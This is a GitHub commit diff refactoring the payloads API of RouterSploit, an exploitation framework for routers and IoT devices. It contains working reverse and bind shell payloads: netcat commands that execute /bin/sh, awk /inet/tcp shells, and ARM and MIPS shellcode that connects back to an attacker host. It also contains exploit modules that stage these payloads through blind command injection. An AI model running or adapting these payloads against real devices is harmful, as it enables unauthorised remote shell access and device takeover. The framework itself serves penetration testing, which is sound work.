Commit 550bcf44 by Mariusz Kupidura Committed by GitHub

Refactor `payloads` API (#331)



* Refactor payloads.

* Payloads handlers (#325)

* Multiple payloads support

* RHost for bind shell

* Fixing payloads

* Validating parameters

* Architecture parameter

* Fixing payloads

* Fix pep

* Fixing tests

* Fixing ident

* Payload handlers

* Removing old payloads

* Removing default target/port

* Fixing payloads, refactoring

* Fixing pep

* Changing payloads names

* Adding wget and echo options

* Parameter validation

* Removing testing modules

* Refactor payload vol. 2

* Remove `ArchitectureHeader`.

* Put PayloadHandler mixins first in MRO.

* Add `ExploitOptionsAggregator` metaclass to mixins.

* Fix payload completion.

* Remove validate_template from shell()

* Fix tests.

* Fix flake8 violations.

* Adding validation

* Adding support for generic payloads

* Add meaningful error message.
parent b24b0bcc
...@@ -21,4 +21,3 @@ from routersploit import payloads ...@@ -21,4 +21,3 @@ from routersploit import payloads
from routersploit import wordlists from routersploit import wordlists
from routersploit import validators from routersploit import validators
from routersploit.shell import shell from routersploit.shell import shell
from weakref import WeakKeyDictionary import os
from itertools import chain
import threading import threading
import time import time
import os from itertools import chain
from weakref import WeakKeyDictionary
from routersploit.utils import print_status, NonStringIterable from future.builtins import range
from routersploit.utils import print_status, NonStringIterable
GLOBAL_OPTS = {} GLOBAL_OPTS = {}
...@@ -52,11 +53,15 @@ class ExploitOptionsAggregator(type): ...@@ -52,11 +53,15 @@ class ExploitOptionsAggregator(type):
""" """
def __new__(cls, name, bases, attrs): def __new__(cls, name, bases, attrs):
try: try:
base_exploit_attributes = chain(map(lambda x: x.exploit_attributes, bases)) base_exploit_attributes = chain(
map(lambda x: x.exploit_attributes, bases)
)
except AttributeError: except AttributeError:
attrs['exploit_attributes'] = {} attrs['exploit_attributes'] = {}
else: else:
attrs['exploit_attributes'] = {k: v for d in base_exploit_attributes for k, v in d.iteritems()} attrs['exploit_attributes'] = {
k: v for d in base_exploit_attributes for k, v in d.iteritems()
}
for key, value in attrs.iteritems(): for key, value in attrs.iteritems():
if isinstance(value, Option): if isinstance(value, Option):
...@@ -65,17 +70,17 @@ class ExploitOptionsAggregator(type): ...@@ -65,17 +70,17 @@ class ExploitOptionsAggregator(type):
elif key == "__info__": elif key == "__info__":
attrs["_{}{}".format(name, key)] = value attrs["_{}{}".format(name, key)] = value
del attrs[key] del attrs[key]
elif key in attrs['exploit_attributes']: # Removing exploit_attribute that was overwritten # Removing exploit_attribute that was overwritten
del attrs['exploit_attributes'][key] # in the child and is not a Option() instance. # in the child and is not a Option() instance.
return super(ExploitOptionsAggregator, cls).__new__(cls, name, bases, attrs) elif key in attrs['exploit_attributes']:
del attrs['exploit_attributes'][key]
return super(ExploitOptionsAggregator, cls).__new__(
cls, name, bases, attrs
)
class Exploit(object): class BaseExploit(object):
""" Base class for exploits. """
__metaclass__ = ExploitOptionsAggregator __metaclass__ = ExploitOptionsAggregator
# target = Option(default="", description="Target IP address.")
# port = Option(default="", description="Target port.")
@property @property
def options(self): def options(self):
...@@ -88,17 +93,29 @@ class Exploit(object): ...@@ -88,17 +93,29 @@ class Exploit(object):
""" """
return self.exploit_attributes.keys() return self.exploit_attributes.keys()
def __str__(self):
return self.__module__.split('.', 2).pop().replace('.', os.sep)
class Exploit(BaseExploit):
""" Base class for exploits. """
target = Option(default="", description="Target IP address.")
# port = Option(default="", description="Target port.")
def run(self): def run(self):
raise NotImplementedError("You have to define your own 'run' method.") raise NotImplementedError("You have to define your own 'run' method.")
def check(self): def check(self):
raise NotImplementedError("You have to define your own 'check' method.") raise NotImplementedError(
"You have to define your own 'check' method."
)
def run_threads(self, threads, target, *args, **kwargs): def run_threads(self, threads, target, *args, **kwargs):
workers = [] workers = []
threads_running = threading.Event() threads_running = threading.Event()
threads_running.set() threads_running.set()
for worker_id in xrange(int(threads)): for worker_id in range(int(threads)):
worker = threading.Thread( worker = threading.Thread(
target=target, target=target,
args=chain((threads_running,), args), args=chain((threads_running,), args),
...@@ -118,6 +135,3 @@ class Exploit(object): ...@@ -118,6 +135,3 @@ class Exploit(object):
for worker in workers: for worker in workers:
worker.join() worker.join()
print_status('Elapsed time: ', time.time() - start, 'seconds') print_status('Elapsed time: ', time.time() - start, 'seconds')
def __str__(self):
return self.__module__.split('.', 2).pop().replace('.', os.sep)
from __future__ import print_function from __future__ import print_function
import atexit
import itertools
import os import os
import sys import sys
import itertools
import traceback import traceback
import atexit
from collections import Counter from collections import Counter
from routersploit.printer import PrinterThread, printer_queue
from routersploit.exceptions import RoutersploitException
from routersploit.exploits import GLOBAL_OPTS
from routersploit import utils from routersploit import utils
from routersploit.exceptions import RoutersploitException
from routersploit.exploits import Exploit, GLOBAL_OPTS
from routersploit.payloads import BasePayload
from routersploit.printer import PrinterThread, printer_queue
if sys.platform == "darwin": if sys.platform == "darwin":
import gnureadline as readline import gnureadline as readline
...@@ -180,12 +182,20 @@ class RoutersploitInterpreter(BaseInterpreter): ...@@ -180,12 +182,20 @@ class RoutersploitInterpreter(BaseInterpreter):
self.raw_prompt_template = None self.raw_prompt_template = None
self.module_prompt_template = None self.module_prompt_template = None
self.prompt_hostname = 'rsf' self.prompt_hostname = 'rsf'
self.show_sub_commands = ('info', 'options', 'devices', 'all', 'creds', 'exploits', 'scanners') self.show_sub_commands = (
'info', 'options', 'devices', 'all',
'creds', 'exploits', 'scanners'
)
self.global_commands = sorted(['use ', 'exec ', 'help', 'exit', 'show ', 'search ']) self.global_commands = sorted(
self.module_commands = ['run', 'back', 'set ', 'setg ', 'check'] ['use ', 'exec ', 'help', 'exit', 'show ', 'search ']
self.module_commands.extend(self.global_commands) )
self.module_commands.sort() self.module_commands = self._extend_with_global_commands(
['run', 'back', 'set ', 'setg ', 'check']
)
self.payload_commands = self._extend_with_global_commands(
['run', 'back', 'set ', 'setg ']
)
self.modules = utils.index_modules() self.modules = utils.index_modules()
self.modules_count = Counter() self.modules_count = Counter()
...@@ -201,16 +211,17 @@ class RoutersploitInterpreter(BaseInterpreter): ...@@ -201,16 +211,17 @@ class RoutersploitInterpreter(BaseInterpreter):
| |\ \ (_) | |_| | || __/ | /\__/ / |_) | | (_) | | |_ | |\ \ (_) | |_| | || __/ | /\__/ / |_) | | (_) | | |_
\_| \_\___/ \__,_|\__\___|_| \____/| .__/|_|\___/|_|\__| \_| \_\___/ \__,_|\__\___|_| \____/| .__/|_|\___/|_|\__|
| | | |
Router Exploitation Framework |_| IoT Exploitation Framework |_|
Dev Team : Marcin Bury (lucyoa) & Mariusz Kupidura (fwkz) Dev Team : Marcin Bury (lucyoa) & Mariusz Kupidura (fwkz)
Codename : Bad Blood Codename : Bad Blood
Version : 2.2.1 Version : 2.2.1
Exploits: {exploits_count} Scanners: {scanners_count} Creds: {creds_count} Exploits: {exploits_count} Scanners: {scanners_count} Creds: {creds_count} Payloads: {payloads_count}
""".format(exploits_count=self.modules_count['exploits'], """.format(exploits_count=self.modules_count['exploits'],
scanners_count=self.modules_count['scanners'], scanners_count=self.modules_count['scanners'],
creds_count=self.modules_count['creds']) creds_count=self.modules_count['creds'],
payloads_count=self.modules_count['payloads'])
def __parse_prompt(self): def __parse_prompt(self):
raw_prompt_default_template = "\001\033[4m\002{host}\001\033[0m\002 > " raw_prompt_default_template = "\001\033[4m\002{host}\001\033[0m\002 > "
...@@ -221,6 +232,12 @@ class RoutersploitInterpreter(BaseInterpreter): ...@@ -221,6 +232,12 @@ class RoutersploitInterpreter(BaseInterpreter):
module_prompt_template = os.getenv("RSF_MODULE_PROMPT", module_prompt_default_template).replace('\\033', '\033') module_prompt_template = os.getenv("RSF_MODULE_PROMPT", module_prompt_default_template).replace('\\033', '\033')
self.module_prompt_template = module_prompt_template if all(map(lambda x: x in module_prompt_template, ['{host}', "{module}"])) else module_prompt_default_template self.module_prompt_template = module_prompt_template if all(map(lambda x: x in module_prompt_template, ['{host}', "{module}"])) else module_prompt_default_template
def _extend_with_global_commands(self, sequence):
""" Extend specific command suggestion with global commands """
sequence.extend(self.global_commands)
sequence.sort()
return sequence
@property @property
def module_metadata(self): def module_metadata(self):
return getattr(self.current_module, "_{}__info__".format(self.current_module.__class__.__name__)) return getattr(self.current_module, "_{}__info__".format(self.current_module.__class__.__name__))
...@@ -268,6 +285,11 @@ class RoutersploitInterpreter(BaseInterpreter): ...@@ -268,6 +285,11 @@ class RoutersploitInterpreter(BaseInterpreter):
""" """
if self.current_module and GLOBAL_OPTS: if self.current_module and GLOBAL_OPTS:
return sorted(itertools.chain(self.module_commands, ('unsetg ',))) return sorted(itertools.chain(self.module_commands, ('unsetg ',)))
elif self.current_module and isinstance(self.current_module, Exploit):
return self.module_commands
elif self.current_module and isinstance(self.current_module,
BasePayload):
return self.payload_commands
elif self.current_module: elif self.current_module:
return self.module_commands return self.module_commands
else: else:
...@@ -378,7 +400,7 @@ class RoutersploitInterpreter(BaseInterpreter): ...@@ -378,7 +400,7 @@ class RoutersploitInterpreter(BaseInterpreter):
@utils.module_required @utils.module_required
def _show_options(self, *args, **kwargs): def _show_options(self, *args, **kwargs):
target_opts = ['target', 'port'] target_opts = ['target', 'port', 'rhost', 'rport', 'lhost', 'lport']
module_opts = [opt for opt in self.current_module.options if opt not in target_opts] module_opts = [opt for opt in self.current_module.options if opt not in target_opts]
headers = ("Name", "Current settings", "Description") headers = ("Name", "Current settings", "Description")
......
...@@ -1295,8 +1295,8 @@ class Exploit(exploits.Exploit): ...@@ -1295,8 +1295,8 @@ class Exploit(exploits.Exploit):
if self.check(): if self.check():
print_success("Target is vulnerable") print_success("Target is vulnerable")
print_status("Invoking command loop...") print_status("Invoking command loop...")
print_status("It is blind command injection - response is not available. Use reverse_tcp <reverse ip> <port>") print_status("It is blind command injection - response is not available")
shell(self, architecture="mipsbe", method="wget", binary="wget", location="/tmp") shell(self, architecture="mipsbe", method="wget", location="/tmp")
else: else:
print_error("Exploit failed. Device seems to be not vulnerable.") print_error("Exploit failed. Device seems to be not vulnerable.")
......
...@@ -38,7 +38,10 @@ class Exploit(exploits.Exploit): ...@@ -38,7 +38,10 @@ class Exploit(exploits.Exploit):
if self.check(): if self.check():
print_success("Target seems to be vulnerable") print_success("Target seems to be vulnerable")
print_status("This is blind command injection, response is not available") print_status("This is blind command injection, response is not available")
shell(self, architecture="mipsbe", binary="netcat", shell="/bin/sh") shell(self,
architecture="generic",
method="netcat",
payloads=["netcat_bind_tcp", "netcat_reverse_tcp"])
else: else:
print_error("Exploit failed - exploit seems to be not vulnerable") print_error("Exploit failed - exploit seems to be not vulnerable")
......
...@@ -53,8 +53,11 @@ class Exploit(exploits.Exploit): ...@@ -53,8 +53,11 @@ class Exploit(exploits.Exploit):
print_success("Target is vulnerable") print_success("Target is vulnerable")
print_status("Invoking command loop...") print_status("Invoking command loop...")
print_status("Please note that only first 256 characters of the " print_status("Please note that only first 256 characters of the "
"output will be displayed or use reverse_tcp") "output will be displayed.")
shell(self, architecture="armle", method="wget", binary="wget", location="/tmp") shell(self,
architecture="armle",
method="wget",
location="/tmp")
else: else:
print_error("Target is not vulnerable") print_error("Target is not vulnerable")
except socket.error as ex: except socket.error as ex:
......
...@@ -46,7 +46,7 @@ class Exploit(exploits.Exploit): ...@@ -46,7 +46,7 @@ class Exploit(exploits.Exploit):
print_success("Target is vulnerable") print_success("Target is vulnerable")
print_status("Invoking command loop...") print_status("Invoking command loop...")
print_status("It is blind command injection, response is not available") print_status("It is blind command injection, response is not available")
shell(self, architecture="mipsle", method="echo", binary="echo", location="/var/tmp/") shell(self, architecture="mipsle", method="echo", location="/var/tmp/")
else: else:
print_error("Exploit failed - target seems to be not vulnerable") print_error("Exploit failed - target seems to be not vulnerable")
......
...@@ -43,7 +43,10 @@ class Exploit(exploits.Exploit): ...@@ -43,7 +43,10 @@ class Exploit(exploits.Exploit):
if self.check(): if self.check():
print_success("Target is vulnerable") print_success("Target is vulnerable")
print_status("Invoking command loop...") print_status("Invoking command loop...")
shell(self, architecture="none", method="awk", binary="awk") shell(self,
architecture="generic",
method="awk",
payloads=["awk_bind_tcp", "awk_reverse_tcp"])
else: else:
print_error("Target is not vulnerable") print_error("Target is not vulnerable")
......
...@@ -38,7 +38,7 @@ class Exploit(exploits.Exploit): ...@@ -38,7 +38,7 @@ class Exploit(exploits.Exploit):
if self.check(): if self.check():
print_success("Target is vulnerable") print_success("Target is vulnerable")
print_status("Invoking command loop...") print_status("Invoking command loop...")
shell(self, architecture="mipsle", method="wget", binary="wget", location="/var") shell(self, architecture="mipsle", method="wget", location="/var")
else: else:
print_error("Target is not vulnerable") print_error("Target is not vulnerable")
......
...@@ -57,12 +57,12 @@ class Exploit(exploits.Exploit): ...@@ -57,12 +57,12 @@ class Exploit(exploits.Exploit):
if self.check(): if self.check():
print_success("Target is vulnerable") print_success("Target is vulnerable")
print_status("Invoking command loop...") print_status("Invoking command loop...")
print_status("It is blind command injection - response is not available. Use reverse_tcp <reverse ip> <port>") print_status("It is blind command injection - response is not available")
if self.arch == "mipsbe": if self.arch == "mipsbe":
shell(self, architecture="mipsbe", method="wget", binary="wget", location="/tmp") shell(self, architecture="mipsbe", method="wget", location="/tmp")
elif self.arch == "mipsle": elif self.arch == "mipsle":
shell(self, architecture="mipsle", method="wget", binary="wget", location="/tmp") shell(self, architecture="mipsle", method="wget", location="/tmp")
else: else:
print_error("Target is not vulnerable") print_error("Target is not vulnerable")
......
...@@ -43,7 +43,10 @@ class Exploit(exploits.Exploit): ...@@ -43,7 +43,10 @@ class Exploit(exploits.Exploit):
print_status("It is blind command injection so response is not available") print_status("It is blind command injection so response is not available")
# requires testing # requires testing
shell(self, architecture="mipsbe", method="wget", binary="wget", location="/tmp") shell(self,
architecture="mipsbe",
method="wget",
location="/tmp")
else: else:
print_error("Exploit failed - target seems to be not vulnerable") print_error("Exploit failed - target seems to be not vulnerable")
......
...@@ -50,7 +50,10 @@ class Exploit(exploits.Exploit): ...@@ -50,7 +50,10 @@ class Exploit(exploits.Exploit):
self.info() self.info()
print_status("Invoking command loop") print_status("Invoking command loop")
shell(self, architecture="mipsbe", method="wget", binary="wget", location="/tmp") shell(self,
architecture="mipsbe",
method="wget",
location="/tmp")
else: else:
print_error("Exploit failed - target seems to be not vulnerable") print_error("Exploit failed - target seems to be not vulnerable")
......
from . import armle_bind_tcp
from . import armle_reverse_tcp
from . import mipsbe_bind_tcp
from . import mipsbe_reverse_tcp
from . import mipsle_bind_tcp
from . import mipsle_reverse_tcp
from routersploit import ( from routersploit import validators
exploits, from routersploit.payloads import (
payloads, ArchitectureSpecificPayload,
validators Architectures,
BindTCPPayloadMixin,
) )
class Exploit(payloads.Payload): class Exploit(BindTCPPayloadMixin, ArchitectureSpecificPayload):
__info__ = { __info__ = {
'name': 'ARMLE Bind TCP', 'name': 'ARMLE Bind TCP',
'authors': [ 'authors': [
...@@ -17,13 +18,11 @@ class Exploit(payloads.Payload): ...@@ -17,13 +18,11 @@ class Exploit(payloads.Payload):
], ],
} }
architecture = "armle" architecture = Architectures.ARMLE
port = exploits.Option(5555, 'Bind Port', validators=validators.integer)
def generate(self): def generate(self):
bind_port = self.convert_port(self.port) bind_port = validators.convert_port(self.rport)
return (
self.payload = (
"\x02\x00\xa0\xe3" + "\x02\x00\xa0\xe3" +
"\x01\x10\xa0\xe3" + "\x01\x10\xa0\xe3" +
"\x06\x20\xa0\xe3" + "\x06\x20\xa0\xe3" +
......
from routersploit import ( from routersploit import validators
exploits, from routersploit.payloads import (
payloads, ArchitectureSpecificPayload,
validators, Architectures,
ReverseTCPPayloadMixin,
) )
class Exploit(payloads.Payload): class Exploit(ReverseTCPPayloadMixin, ArchitectureSpecificPayload):
__info__ = { __info__ = {
'name': 'ARMLE Reverse TCP', 'name': 'ARMLE Reverse TCP',
'authors': [ 'authors': [
...@@ -17,15 +18,12 @@ class Exploit(payloads.Payload): ...@@ -17,15 +18,12 @@ class Exploit(payloads.Payload):
], ],
} }
architecture = "armle" architecture = Architectures.ARMLE
target = exploits.Option('', 'Reverse IP', validators=validators.ipv4)
port = exploits.Option(5555, 'Reverse TCP Port', validators=validators.integer)
def generate(self): def generate(self):
reverse_ip = self.convert_ip(self.target) reverse_ip = validators.convert_ip(self.lhost)
reverse_port = self.convert_port(self.port) reverse_port = validators.convert_port(self.lport)
return (
self.payload = (
"\x01\x10\x8F\xE2" + "\x01\x10\x8F\xE2" +
"\x11\xFF\x2F\xE1" + "\x11\xFF\x2F\xE1" +
"\x02\x20\x01\x21" + "\x02\x20\x01\x21" +
...@@ -40,8 +38,8 @@ class Exploit(payloads.Payload): ...@@ -40,8 +38,8 @@ class Exploit(payloads.Payload):
"\x92\x1a\x05\xb4" + "\x92\x1a\x05\xb4" +
"\x69\x46\x0b\x27" + "\x69\x46\x0b\x27" +
"\x01\xDF\xC0\x46" + "\x01\xDF\xC0\x46" +
"\x02\x00" + reverse_port + # "\x12\x34" struct sockaddr and port "\x02\x00" + reverse_port + # "\x12\x34" struct sockaddr and port
reverse_ip + # reverse ip address reverse_ip + # reverse ip address
"\x2f\x62\x69\x6e" + # /bin "\x2f\x62\x69\x6e" + # /bin
"\x2f\x73\x68\x00" # /sh\0 "\x2f\x73\x68\x00" # /sh\0
) )
from routersploit import exploits
from routersploit.payloads import BindTCPPayloadMixin, GenericPayload
class Exploit(BindTCPPayloadMixin, GenericPayload):
__info__ = {
'name': 'Awk Bind TCP',
'authors': [
],
'description': '',
'references': [
],
'devices': [
],
}
awk_binary = exploits.Option('awk', 'Awk binary')
def generate(self):
return (
self.awk_binary
+ " 'BEGIN{s=\"/inet/tcp/"
+ str(self.rport)
+ "/0/0\";for(;s|&getline c;close(c))"
"while(c|getline)print|&s;close(s)}'"
)
from routersploit import exploits
from routersploit.payloads import GenericPayload, ReverseTCPPayloadMixin
class Exploit(ReverseTCPPayloadMixin, GenericPayload):
__info__ = {
'name': 'Awk Reverse TCP',
'authors': [
],
'description': '',
'references': [
],
'devices': [
],
}
awk_binary = exploits.Option('awk', 'Awk binary')
def generate(self):
return (
self.awk_binary
+ " 'BEGIN{s=\"/inet/tcp/0/"
+ self.lhost + "/"
+ str(self.lport)
+ "\";for(;s|&getline c;close(c))"
"while(c|getline)print|&s;close(s)};'"
)
from routersploit import exploits
from routersploit.payloads import BindTCPPayloadMixin, GenericPayload
class Exploit(BindTCPPayloadMixin, GenericPayload):
__info__ = {
'name': 'Netcat Bind TCP',
'authors': [
],
'description': '',
'references': [
],
'devices': [
],
}
netcat_binary = exploits.Option('/bin/nc', 'Netcat binary')
shell_binary = exploits.Option('/bin/sh', 'Shell')
def generate(self):
return "{} -lvp {} -e {}".format(self.netcat_binary,
self.rport,
self.shell_binary)
from routersploit import exploits
from routersploit.payloads import GenericPayload, ReverseTCPPayloadMixin
class Exploit(ReverseTCPPayloadMixin, GenericPayload):
__info__ = {
'name': 'Netcat Reverse TCP',
'authors': [
],
'description': '',
'references': [
],
'devices': [
],
}
netcat_binary = exploits.Option('/bin/nc', 'Netcat binary')
shell_binary = exploits.Option('/bin/sh', 'Shell')
def generate(self):
return "{} {} {} -e {}".format(self.netcat_binary,
self.lhost,
self.lport,
self.shell_binary)
from routersploit import ( from routersploit import validators
exploits, from routersploit.payloads import (
payloads, ArchitectureSpecificPayload,
validators Architectures,
BindTCPPayloadMixin,
) )
class Exploit(payloads.Payload): class Exploit(BindTCPPayloadMixin, ArchitectureSpecificPayload):
__info__ = { __info__ = {
'name': 'MIPSBE Bind TCP', 'name': 'MIPSBE Bind TCP',
'authors': [ 'authors': [
...@@ -17,13 +18,11 @@ class Exploit(payloads.Payload): ...@@ -17,13 +18,11 @@ class Exploit(payloads.Payload):
], ],
} }
architecture = "mipsbe" architecture = Architectures.MIPSBE
port = exploits.Option(5555, 'Bind Port', validators=validators.integer)
def generate(self): def generate(self):
bind_port = self.convert_port(self.port) bind_port = validators.convert_port(self.rport)
return (
self.payload = (
# socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3 # socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
"\x27\xbd\xff\xe0" + # addiu sp,sp,-32 "\x27\xbd\xff\xe0" + # addiu sp,sp,-32
"\x24\x0e\xff\xfd" + # li t6,-3 "\x24\x0e\xff\xfd" + # li t6,-3
......
from routersploit import ( from routersploit import validators
exploits, from routersploit.payloads import (
payloads, ArchitectureSpecificPayload,
validators, Architectures,
ReverseTCPPayloadMixin,
) )
class Exploit(payloads.Payload): class Exploit(ReverseTCPPayloadMixin, ArchitectureSpecificPayload):
__info__ = { __info__ = {
'name': 'MIPSBE Reverse TCP', 'name': 'MIPSBE Reverse TCP',
'authors': [ 'authors': [
...@@ -17,15 +18,12 @@ class Exploit(payloads.Payload): ...@@ -17,15 +18,12 @@ class Exploit(payloads.Payload):
], ],
} }
architecture = "mipsbe" architecture = Architectures.MIPSBE
target = exploits.Option('', 'Reverse IP', validators=validators.ipv4)
port = exploits.Option(5555, 'Reverse TCP Port', validators=validators.integer)
def generate(self): def generate(self):
reverse_ip = self.convert_ip(self.target) reverse_ip = validators.convert_ip(self.lhost)
reverse_port = self.convert_port(self.port) reverse_port = validators.convert_port(self.lport)
return (
self.payload = (
"\x28\x04\xff\xff" + # slti a0,zero,-1 "\x28\x04\xff\xff" + # slti a0,zero,-1
"\x24\x02\x0f\xa6" + # li v0,4006 "\x24\x02\x0f\xa6" + # li v0,4006
"\x01\x09\x09\x0c" + # syscall 0x42424 "\x01\x09\x09\x0c" + # syscall 0x42424
...@@ -48,10 +46,10 @@ class Exploit(payloads.Payload): ...@@ -48,10 +46,10 @@ class Exploit(payloads.Payload):
"\x24\x02\x0f\xc9" + # li v0,4041 "\x24\x02\x0f\xc9" + # li v0,4041
"\x01\x09\x09\x0c" + # syscall 0x42424 "\x01\x09\x09\x0c" + # syscall 0x42424
"\x3c\x05\x00\x02" + # lui a1,0x2 "\x3c\x05\x00\x02" + # lui a1,0x2
"\x34\xa5" + reverse_port + # "\x7a\x69" # ori a1,a1,0x7a69 "\x34\xa5" + reverse_port + # "\x7a\x69" # ori a1,a1,0x7a69
"\xaf\xa5\xff\xf8" + # sw a1,-8(sp) "\xaf\xa5\xff\xf8" + # sw a1,-8(sp)
"\x3c\x05" + reverse_ip[:2] + # "\xc0\xa8" # lui a1,0xc0a8 "\x3c\x05" + reverse_ip[:2] + # "\xc0\xa8" # lui a1,0xc0a8
"\x34\xa5" + reverse_ip[2:] + # "\x01\x37" # ori a1,a1,0x137 "\x34\xa5" + reverse_ip[2:] + # "\x01\x37" # ori a1,a1,0x137
"\xaf\xa5\xff\xfc" + # sw a1,-4(sp) "\xaf\xa5\xff\xfc" + # sw a1,-4(sp)
"\x23\xa5\xff\xf8" + # addi a1,sp,-8 "\x23\xa5\xff\xf8" + # addi a1,sp,-8
"\x24\x0c\xff\xef" + # li t4,-17 "\x24\x0c\xff\xef" + # li t4,-17
......
from routersploit import validators
from routersploit.payloads import (
ArchitectureSpecificPayload,
Architectures,
BindTCPPayloadMixin,
)
class Exploit(BindTCPPayloadMixin, ArchitectureSpecificPayload):
__info__ = {
'name': 'MIPSLE Bind TCP',
'authors': [
],
'description': '',
'references': [
],
'devices': [
],
}
architecture = Architectures.MIPSBE
def generate(self):
bind_port = validators.convert_port(self.lport)
return (
"\xe0\xff\xbd\x27" + # addiu sp,sp,-32
"\xfd\xff\x0e\x24" + # li t6,-3
"\x27\x20\xc0\x01" + # nor a0,t6,zero
"\x27\x28\xc0\x01" + # nor a1,t6,zero
"\xff\xff\x06\x28" + # slti a2,zero,-1
"\x57\x10\x02\x24" + # li v0,4183 ( __NR_socket )
"\x0c\x01\x01\x01" + # syscall
"\xff\xff\x50\x30" + # andi s0,v0,0xffff
"\xef\xff\x0e\x24" + # li t6,-17 ; t6: 0xffffffef
"\x27\x70\xc0\x01" + # nor t6,t6,zero ; t6: 0x10 (16)
bind_port + "\x0d\x24" + # li t5,0xFFFF (port) ; t5: 0x5c11 (0x115c == 4444 (default LPORT))
"\x04\x68\xcd\x01" + # sllv t5,t5,t6 ; t5: 0x5c110000
"\xfd\xff\x0e\x24" + # li t6,-3 ; t6: -3
"\x27\x70\xc0\x01" + # nor t6,t6,zero ; t6: 0x2
"\x25\x68\xae\x01" + # or t5,t5,t6 ; t5: 0x5c110002
"\xe0\xff\xad\xaf" + # sw t5,-32(sp)
"\xe4\xff\xa0\xaf" + # sw zero,-28(sp)
"\xe8\xff\xa0\xaf" + # sw zero,-24(sp)
"\xec\xff\xa0\xaf" + # sw zero,-20(sp)
"\x25\x20\x10\x02" + # or a0,s0,s0
"\xef\xff\x0e\x24" + # li t6,-17
"\x27\x30\xc0\x01" + # nor a2,t6,zero
"\xe0\xff\xa5\x23" + # addi a1,sp,-32
"\x49\x10\x02\x24" + # li v0,4169 ( __NR_bind )A
"\x0c\x01\x01\x01" + # syscall
"\x25\x20\x10\x02" + # or a0,s0,s0
"\x01\x01\x05\x24" + # li a1,257
"\x4e\x10\x02\x24" + # li v0,4174 ( __NR_listen )
"\x0c\x01\x01\x01" + # syscall
"\x25\x20\x10\x02" + # or a0,s0,s0
"\xff\xff\x05\x28" + # slti a1,zero,-1
"\xff\xff\x06\x28" + # slti a2,zero,-1
"\x48\x10\x02\x24" + # li v0,4168 ( __NR_accept )
"\x0c\x01\x01\x01" + # syscall
"\xff\xff\xa2\xaf" + # sw v0,-1(sp) # socket
"\xfd\xff\x11\x24" + # li s1,-3
"\x27\x88\x20\x02" + # nor s1,s1,zero
"\xff\xff\xa4\x8f" + # lw a0,-1(sp)
"\x21\x28\x20\x02" + # move a1,s1 # dup2_loop
"\xdf\x0f\x02\x24" + # li v0,4063 ( __NR_dup2 )
"\x0c\x01\x01\x01" + # syscall 0x40404
"\xff\xff\x10\x24" + # li s0,-1
"\xff\xff\x31\x22" + # addi s1,s1,-1
"\xfa\xff\x30\x16" + # bne s1,s0 <dup2_loop>
"\xff\xff\x06\x28" + # slti a2,zero,-1
"\x62\x69\x0f\x3c" + # lui t7,0x2f2f "bi"
"\x2f\x2f\xef\x35" + # ori t7,t7,0x6269 "//"
"\xec\xff\xaf\xaf" + # sw t7,-20(sp)
"\x73\x68\x0e\x3c" + # lui t6,0x6e2f "sh"
"\x6e\x2f\xce\x35" + # ori t6,t6,0x7368 "n/"
"\xf0\xff\xae\xaf" + # sw t6,-16(sp)
"\xf4\xff\xa0\xaf" + # sw zero,-12(sp)
"\xec\xff\xa4\x27" + # addiu a0,sp,-20
"\xf8\xff\xa4\xaf" + # sw a0,-8(sp)
"\xfc\xff\xa0\xaf" + # sw zero,-4(sp)
"\xf8\xff\xa5\x27" + # addiu a1,sp,-8
"\xab\x0f\x02\x24" + # li v0,4011 ( __NR_execve )
"\x0c\x01\x01\x01" # syscall 0x40404
)
from routersploit import ( from routersploit import validators
exploits, from routersploit.payloads import (
payloads, ArchitectureSpecificPayload,
validators, Architectures,
ReverseTCPPayloadMixin,
) )
class Exploit(payloads.Payload): class Exploit(ReverseTCPPayloadMixin, ArchitectureSpecificPayload):
__info__ = { __info__ = {
'name': 'MIPSLE Reverse TCP', 'name': 'MIPSLE Reverse TCP',
'authors': [ 'authors': [
...@@ -17,15 +18,12 @@ class Exploit(payloads.Payload): ...@@ -17,15 +18,12 @@ class Exploit(payloads.Payload):
], ],
} }
architecture = "mipsle" architecture = Architectures.MIPSBE
target = exploits.Option('', 'Reverse IP', validators=validators.ipv4)
port = exploits.Option(5555, 'Reverse TCP port', validators=validators.integer)
def generate(self): def generate(self):
reverse_ip = self.convert_ip(self.target) reverse_ip = validators.convert_ip(self.lhost)
reverse_port = self.convert_port(self.port) reverse_port = validators.convert_port(self.lport)
return (
self.payload = (
"\xff\xff\x04\x28" + # slti a0,zero,-1 "\xff\xff\x04\x28" + # slti a0,zero,-1
"\xa6\x0f\x02\x24" + # li v0,4006 "\xa6\x0f\x02\x24" + # li v0,4006
"\x0c\x09\x09\x01" + # syscall 0x42424 "\x0c\x09\x09\x01" + # syscall 0x42424
......
from routersploit import (
exploits,
payloads,
validators,
)
class Exploit(payloads.Payload):
__info__ = {
'name': 'MIPSLE Bind TCP',
'authors': [
],
'description': '',
'references': [
],
'devices': [
],
}
architecture = "mipsle"
port = exploits.Option(5555, 'Bind Port', validators=validators.integer)
def generate(self):
bind_port = self.convert_port(self.port)
self.payload = (
"\xe0\xff\xbd\x27" + # addiu sp,sp,-32
"\xfd\xff\x0e\x24" + # li t6,-3
"\x27\x20\xc0\x01" + # nor a0,t6,zero
"\x27\x28\xc0\x01" + # nor a1,t6,zero
"\xff\xff\x06\x28" + # slti a2,zero,-1
"\x57\x10\x02\x24" + # li v0,4183 ( __NR_socket )
"\x0c\x01\x01\x01" + # syscall
"\xff\xff\x50\x30" + # andi s0,v0,0xffff
"\xef\xff\x0e\x24" + # li t6,-17 ; t6: 0xffffffef
"\x27\x70\xc0\x01" + # nor t6,t6,zero ; t6: 0x10 (16)
bind_port + "\x0d\x24" + # li t5,0xFFFF (port) ; t5: 0x5c11 (0x115c == 4444 (default LPORT))
"\x04\x68\xcd\x01" + # sllv t5,t5,t6 ; t5: 0x5c110000
"\xfd\xff\x0e\x24" + # li t6,-3 ; t6: -3
"\x27\x70\xc0\x01" + # nor t6,t6,zero ; t6: 0x2
"\x25\x68\xae\x01" + # or t5,t5,t6 ; t5: 0x5c110002
"\xe0\xff\xad\xaf" + # sw t5,-32(sp)
"\xe4\xff\xa0\xaf" + # sw zero,-28(sp)
"\xe8\xff\xa0\xaf" + # sw zero,-24(sp)
"\xec\xff\xa0\xaf" + # sw zero,-20(sp)
"\x25\x20\x10\x02" + # or a0,s0,s0
"\xef\xff\x0e\x24" + # li t6,-17
"\x27\x30\xc0\x01" + # nor a2,t6,zero
"\xe0\xff\xa5\x23" + # addi a1,sp,-32
